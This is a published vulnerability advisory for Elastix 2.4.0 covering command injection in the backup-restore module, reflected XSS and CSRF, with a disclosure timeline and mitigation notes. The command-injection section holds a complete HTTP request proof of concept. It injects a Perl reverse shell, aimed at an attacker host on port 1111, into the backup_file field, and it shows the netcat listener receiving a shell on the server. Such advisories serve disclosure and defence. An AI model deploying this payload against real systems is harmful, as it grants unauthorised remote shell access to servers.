Title: Elastix Multiple vulnerabilities (Remote Command Execution, XSS, CSRF)
Author: Simo Ben youssef
Contact: Simo_at_Morxploit_com
Discovered: September 1 2014
Published: October 17 2014
MorXploit Research
http://www.MorXploit.com
Software: Elastix
Version: Elastix 2.4.0 Stable
Vendor url: http://elastix.org/
Vulnerable file: modules/backup_restore/index.php

Description:

1- Remote Command Execution

modules/backup_restore/index.php suffers from a command execution vulnerability, allowing an authenticated Elastix user to inject commands as the asterisk user.

Vulnerable code: 

$archivo_post = isset($_POST["backup_file"])?$_POST["backup_file"]:"";  
$dir_respaldo = "$path_backup";  
$comando="cd $dir_respaldo; tar xvf $dir_respaldo/$archivo_post backup/a_options.xml";  
exec($comando,$output,$retval);

As you can see, input sent through the backup_file HTTP POST parameter is not validated/sanitized before being passed to exec();

PoC:

POST /index.php?menu=backup_restore
Host: 10.0.0.14
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.0.0.14/index.php?menu=backup_restore
Cookie: elastixSession=slt4ad92gg29vq5b4kjo29m9a1
Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------------------85835002613497174291001748681
Content-Length: 832

-----------------------------85835002613497174291001748681
Content-Disposition: form-data; name="process"

Process
-----------------------------85835002613497174291001748681
Content-Disposition: form-data; name="option_url"

restore
-----------------------------85835002613497174291001748681
Content-Disposition: form-data; name="backup_file"

; perl -e '$p=fork;exit,if($p); use Socket; use FileHandle; my $system = "/bin/sh"; my $host = "10.0.0.2"; my $port = "1111";socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp")); connect(SOCKET, sockaddr_in($port, inet_aton($host))); SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); print "[+] Et voila you are in!

"; system("uname -a;id"); system($system);'
-----------------------------85835002613497174291001748681--

root@MorXploit:/home/simo/morx/elastix# nc -lvp 1111
Listening on [0.0.0.0] (family 0, port 1111)
Connection from [10.0.0.14] port 1111 [tcp/*] accepted (family 2, sport 49064)
[+] Et voila you are in!

Linux localhost.localdomain 2.6.18-348.1.1.el5 #1 SMP Tue Jan 22 16:24:03 EST 2013 i686 i686 i386 GNU/Linux
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)

2- Reflected Cross-Site Scripting:

Input sent through the backup_file parameter is returned to the user without being validated/sanitized, an attacker can exploit this to steal an Elastix authenticated user's session cookie, gain full access to their account and use the previous RCE vulnerability to execute commands/gain shell access to the server

3- CSRF

Additionally an attacker can also exploit the RCE through CSRF by having an authenticated Elastix user visit a crafted page.


Disclosure time-line:

Initial contact on September 2nd 2014
No response
Second contact on September 22nd 2014
No response
Public disclosure on October 17th

Mitigation:
Validate/Sanitize $archivo
Use authentication tokens for CSRF

Author disclaimer:
The information contained in this entire document is for educational, demonstration and testing purposes only.
Author cannot be held responsible for any malicious use or damage. Use at your own risk.